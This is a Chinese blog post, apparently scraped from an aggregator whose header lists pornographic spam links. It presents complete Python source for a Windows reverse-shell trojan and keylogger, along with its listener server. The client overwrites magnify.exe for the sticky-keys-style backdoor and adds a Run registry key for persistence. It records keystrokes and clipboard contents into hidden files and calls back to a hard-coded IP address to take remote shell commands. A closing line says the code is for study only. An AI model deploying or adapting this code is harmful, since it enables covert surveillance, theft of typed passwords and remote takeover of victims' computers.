日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

反弹shell和键盘记录器实现

發布時間:2023/12/3 编程问答 26 豆豆
生活随笔 收集整理的這篇文章主要介紹了 反弹shell和键盘记录器实现 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.


?
環境:win10(測試機),阿里云服務器(服務端)
另附:從局域網監控到廣域網實時監控的實現
?
?
反彈shell(reverse shell),就是控制端監聽在某 TCP/UDP 端口,被控端發起請求到該端口,并將其命令行的輸入輸出轉到控制端。reverse shell 與 telnet,ssh 等標準 shell 對應,本質上是網絡概念的客戶端與服務端的角色反轉

舉例:假設我們攻擊了一臺機器,打開了該機器的一個端口,攻擊者在自己的機器去連接目標機器(目標ip:目標機器端口),這是比較常規的形式,我們叫做正向連接。遠程桌面、web服務、ssh、telnet等等都是正向連接

windows 一個漏洞:在開機頁面,沒有輸入密碼登陸電腦之前,可以直接打開放大鏡,可以將放大鏡軟件替換為 cmd.exe 或者其他軟件,就可以實現即使未登陸電腦,也可以做點其他事
?
?

總體概述:

  • 最終將客戶端代碼使用 pyinstaller 打包成一個 exe 文件(比如 python.exe),服務端代碼則放在云服務器運行
  • 先在云端運行代碼,監控某個端口
  • 當在 win10 運行客戶端軟件時,會先將當前目錄的 python.exe 去替換系統的放大鏡軟件(magnify.exe),然后在注冊表注冊綁定已經被替換的 magnify.exe ,實現客戶端軟件開機自啟動
  • 然后開啟鍵盤記錄的功能,能夠記錄鍵盤輸入的數字字母、一般/特殊符號、特殊按鍵等,還能夠記錄粘貼板上的數據,鍵盤輸入的數據保存在某個文件(比如 sys 無后綴名),并將該文件自動備份、隱藏為不可見保存在本地
  • 開始申請連接服務器端口,連接成功后先進入等待模式,和服務器隨意發發消息等待以下,也稱為待機模式
  • 在服務端進行模式切換時(比如設置成 ctrl+C),服務端進入命令發送模式,客戶端則進入命令接收模式
  • 實現反彈 shell,將客戶端所在電腦的 cmd 發送至云端,也就是說,在 win 下的 cmd 里能做的事,在云端也就能做了,這就實現了遠程控制,區別在于權限是否擁有及用戶密碼
  • 當客戶端掉線或者連接中斷,服務端會自動切換到等待新連接的方式,而客戶端在下次開機并聯網時,就能悄然與服務器連接了
    ?
    ?

關鍵點如下:

① 軟件第一次需要以管理員身份運行(如果當前登錄用戶不是最高管理員的話),運行后沒有任何提示信息,但是在系統進程中可以看到并關閉,如果不是管理員身份運行,則導致下次開機后軟件不能再自動運行了

② 將當前目錄的exe復制替換成系統軟件magnify,同時將原來的magnify備份,將magnify添加進注冊表,實現開機自啟動

③ 使用多線程實現鍵盤記錄功能,對于特殊符號及按鍵的檢測,使用 ASCII 進行區分,最終能夠記錄特殊符號,特殊按鍵則是用對應的英文名詞記錄,比如 ctrl 鍵是 LConctrol 或 RConctrol ,同時也能夠記錄按鍵是在什么應用窗口輸入的

④ 通過 locale 解決了在 python 和 win 下不同編碼方式導致的中文亂碼問題、并解決的socket 發送的數據太多而接受不全的問題

⑤ 使用 subprocess.Popen 來執行遠程控制的指令,能夠返回每次執行的結果

客戶端代碼 python.py

# -*- coding: utf-8 -*-# runas /user:administrator cmd.exe #以管理員方式運行 cmd.exe 軟件#下面都是用 import 是因為我用 from import 時生成 exe 報錯,運行不了,搞了好久都沒有解決 import socket import os import locale import subprocess import time import struct import win32api import win32con import win32clipboard import PyHook3 import pythoncom import threading# 實現將 python.exe 替換 magnify.exe,并開機自啟動 class Copy_Start_File(object):def __init__(self):# 獲取本地編碼方式self.codeWay = locale.getdefaultlocale()[1]# 將 utf8 格式的字符串轉為本地編碼格式的字符串def utf8_to_locale(self,str_utf8):str_locale = str_utf8.encode(self.codeWay).decode(self.codeWay)return str_locale# 獲取當前目錄路徑def getCurrentDir(self):curDir = self.utf8_to_locale(os.getcwd())return curDir# 設置開機自啟動def setAutoStart(self):name = 'oftpublic' path = 'c:\windows\system32\magnify.exe' KeyName = 'Software\\Microsoft\\Windows\\CurrentVersion\\Run'try:key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, (KeyName), 0, win32con.KEY_ALL_ACCESS)win32api.RegSetValueEx(key, name, 0, win32con.REG_SZ, path)win32api.RegCloseKey(key)result = 'start sucessful'except:result = 'start error'return result# 替換軟件 def autoCopyFile(self):curDir = self.getCurrentDir()tarFile = str(curDir) + '\python.exe'os.chdir('c:/windows/system32'.strip())tempCheck = '1 個文件'tempCheck = self.utf8_to_locale(tempCheck)cmd_list = []cmd_list.append('takeown /f magnify.exe')cmd_list.append('icacls magnify.exe /grant administrators:F')cmd_list.append('ren magnify.exe magnify_back.exe')cmd_list.append('copy %s magnify.exe'%tarFile)PIPE = subprocess.PIPEfor cmd in cmd_list:cmd = self.utf8_to_locale(cmd)comRst = subprocess.Popen(cmd,shell=True, stdout=(PIPE),stderr=PIPE,stdin=PIPE)result, m_stderr = comRst.communicate()time.sleep(1)result = result.decode(self.codeWay)if tempCheck in result:start_result = self.setAutoStart()result += start_resultreturn result + 'COPY WORK IS DONE!'return 'COPY NO WORK!'# 鍵盤記錄實現 class Record_Keyboard(object):def __init__(self):self.codeWay = locale.getdefaultlocale()[1]self.column = 0 # 寫入到文件時,做個換行,好看一點self.WindowName = ''dataPathList=['D:\\sys','E:\\sys','F:\\sys','G:\\sys','C:\\sys']self.dataPath = ''utf8_title = ('\n\n\n'+'='*20 + '\n' + self.utf8_to_locale(self.getLocalTime()+' 記錄器運行\n')+'='*20+'\n\n\n')# 防止有的電腦沒有某個盤for dataPath in dataPathList:try:with open(dataPath,'a') as f:f.write(self.utf8_to_locale(utf8_title))self.dataPath = dataPathbreakexcept:passif len(self.dataPath) != 0:self.hideDataFile()return Truereturn False# 寫入數據def writeData(self,str_utf8):str_locale = self.utf8_to_locale(str_utf8)with open(self.dataPath,'a') as f:f.write(str_locale)self.copyData() # 自動拷貝self.hideDataFile()def copyData(self):try:cmd = 'copy %s c:\\Users\\sys_backup'%self.dataPathcomRst = subprocess.Popen(cmd,shell=True, stdout=(PIPE),stderr=PIPE,stdin=PIPE)self.hideDataFile('c:\\Users\\sys_backup')except:pass# 獲取本地時間 def getLocalTime(self):now_time = str(time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time())))return now_timedef utf8_to_locale(self,str_utf8):str_locale = str_utf8.encode(self.codeWay).decode(self.codeWay)return str_localedef hideDataFile(self,dataPath=None):PIPE = subprocess.PIPEtry:if dataPath is None:cmd = 'attrib +H %s'%self.dataPathelse:cmd = cmd = 'attrib +H %s'%dataPathcomRst = subprocess.Popen(cmd,shell=True, stdout=(PIPE),stderr=PIPE,stdin=PIPE)except:passdef showDataFile(self):PIPE = subprocess.PIPEtry:cmd = 'attrib -H %s'%self.dataPathcomRst = subprocess.Popen(cmd,shell=True, stdout=(PIPE),stderr=PIPE,stdin=PIPE)try:cmd = 'attrib -H c:\\Users\\sys_backup'comRst = subprocess.Popen(cmd,shell=True, stdout=(PIPE),stderr=PIPE,stdin=PIPE)except:passexcept:passdef onKeyboardEvent(self,event):if event.Ascii > 32 and event.Ascii <127: #普通數字字母字符data = chr(event.Ascii) # 將ascii碼轉為字符else: #其他特殊按鍵if event.Key == 'V': #如果是 ctrl+Vtry:win32clipboard.OpenClipboard()pasted_value = win32clipboard.GetClipboardData()win32clipboard.CloseClipboard()data = pasted_valueexcept:data = event.Key #特殊按鍵鍵名else:data = event.Keyif self.column == 10:end_symbol = '\n'self.column = 0else:end_symbol = ' ### ' #分隔符self.column += 1with open(self.dataPath,'a') as f:# 防止同一個窗口命名if str(event.WindowName) != self.WindowName:if ('*'+str(self.WindowName)) != str(event.WindowName):self.column = 0self.WindowName = str(event.WindowName)newWinTime = ('\n\n' + self.getLocalTime() + '\n')newWinName = self.WindowName + '\n'self.writeData(newWinTime+newWinName)self.writeData(data+end_symbol)return Truedef startRecord(self): hookmonitor = PyHook3.HookManager()hookmonitor.KeyDown = self.onKeyboardEventhookmonitor.HookKeyboard()pythoncom.PumpMessages()# 連接服務器 class ConnectServer(Copy_Start_File,Record_Keyboard):def __init__(self,ht,pt):Copy_Start_File.__init__(self) #父類初始化self.keyBoardState = Record_Keyboard.__init__(self)FileState = self.autoCopyFile()self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)while True:try:self.sock.connect((ht,int(pt)))breakexcept Exception as e:passself.sendMessage(FileState) #向服務器發送軟件拷貝狀態def sendMessage(self,strData):strData = strData.encode()lenStrData = len(strData)packet = struct.pack(b'i',lenStrData) # i 代表整形,占4個字節self.sock.send(packet) #先發送數據的長度self.sock.send(strData) #再發送數據內容def recvMessage(self):return self.sock.recv(1024).decode()def getCurrentDir(self):curDir = os.getcwd().encode().decode()return curDirdef changeDir(self,cmd):cmd = self.utf8_to_locale(cmd)os.chdir(cmd[2:].strip())return "切換目錄成功!"def runCmd(self,cmd):PIPE = subprocess.PIPEcomRst = subprocess.Popen(cmd,shell=True,stdout=(PIPE),stderr=PIPE,stdin=PIPE)result, m_stderr = comRst.communicate()result = result.decode(self.codeWay)return resultdef waitCmd(self):while True: # 實時通信,檢測是否掉線msg = self.recvMessage()if msg == 'online?':self.sendMessage('baby')elif msg == 'Come on baby!':breakwhile True: #等待命令模式self.sendMessage(self.getCurrentDir()) #發送當前目錄名cmd = self.recvMessage() #接收指令try:if cmd == "!q": #退出os._exit(0)elif cmd.startswith("cd"):result = self.changeDir(cmd)self.sendMessage(result)self.hideDataFile()elif cmd == 'null': #不操作passelif cmd == 'show':self.showDataFile()result = '顯示文件!'self.sendMessage(result)elif cmd == 'hide':self.hideDataFile()result = '隱藏文件!'self.sendMessage(result)else:result = self.runCmd(cmd)if not result:result = '操作成功!'self.sendMessage(result)self.hideDataFile()except SystemExit:passexcept ConnectionAbortedError:breakexcept Exception as e: #將命令執行的錯誤結果返回e = self.utf8_to_locale(str(e))self.sendMessage(e)time.sleep(1)self.sock.close()def main():while True:try:client = ConnectServer('39.97.181.14',8888)if client.keyBoardState: #如果鍵盤記錄正確初始化,thread = threading.Thread(target=client.startRecord)thread.start()client.waitCmd()time.sleep(10)except ConnectionResetError:os._exit(0)if __name__ == '__main__':main()

?

服務端 ser.py

# -*- coding: utf-8 -*-from socket import socket,AF_INET,SOCK_STREAM from threading import Lock,Thread from time import sleep from os import system from struct import unpackclass God(object):def __init__(self):self.server = socket(AF_INET,SOCK_STREAM)self.server.bind(('0.0.0.0',8888))self.server.listen(5)self.curClient = Noneself.waitConnect()def waitConnect(self):while True:try:print('Waiting for the connection......')self.curClient, addr = self.server.accept()print('New client %s is connection!' % (addr[0]))print(self.recvMessage())breakexcept Exception as e:print(e)def recvMessage(self):lenStrDta_pack = self.curClient.recv(4)lenStrDta = int(unpack('i', lenStrDta_pack)[0])try:buf = b""temp_buf = bufwhile lenStrDta: #可以接收大容量數據temp_buf = self.curClient.recv(lenStrDta)lenStrDta -= len(temp_buf)buf += temp_bufresult = buf.decode()except Exception as e:print('recvMessage: ',e)return resultdef sendMessage(self,strData):self.curClient.send(strData.encode())def shellCtrl(self):print('后臺工作...')while True:try:self.sendMessage('online?')reply = self.recvMessage()if reply:sleep(5)else:print('Client offline')self.waitConnect()except KeyboardInterrupt:print('準備跳轉中...')sleep(2)breakexcept Exception as e:if 'Broken pipe' in str(e):self.waitConnect()print('后臺模式...')self.sendMessage('Come on baby!')while True:try:curDir = self.recvMessage()com = input(str(curDir) + ':~# ')if len(com)==0 or com.endswith("err"):self.sendMessage('null')elif com == 'cls':system('clear')self.sendMessage('null')elif com == '!q':self.sendMessage('!q')print('-----------------------* Connection has ended *--------------------------')exit(0)else:try:self.sendMessage(com)result = self.recvMessage()if result:print(result)except Exception as e:if 'unpack requires' in str(e):self.shellCtrl()except KeyboardInterrupt:self.sendMessage('null')self.shellCtrl()except Exception as e:print(e)self.curClient.shutdown(2)self.curClient.close()def main():remote = God()while True:try:remote.shellCtrl()except KeyboardInterrupt:print('-----------------------* Is out! *--------------------------')exit(0)except Exception as e:exit(0)if __name__ == '__main__':main()

?
?
??以上代碼,僅供學習參考,請勿用于非法用途,歡迎指正錯誤🤞

?
?

總結

以上是生活随笔為你收集整理的反弹shell和键盘记录器实现的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。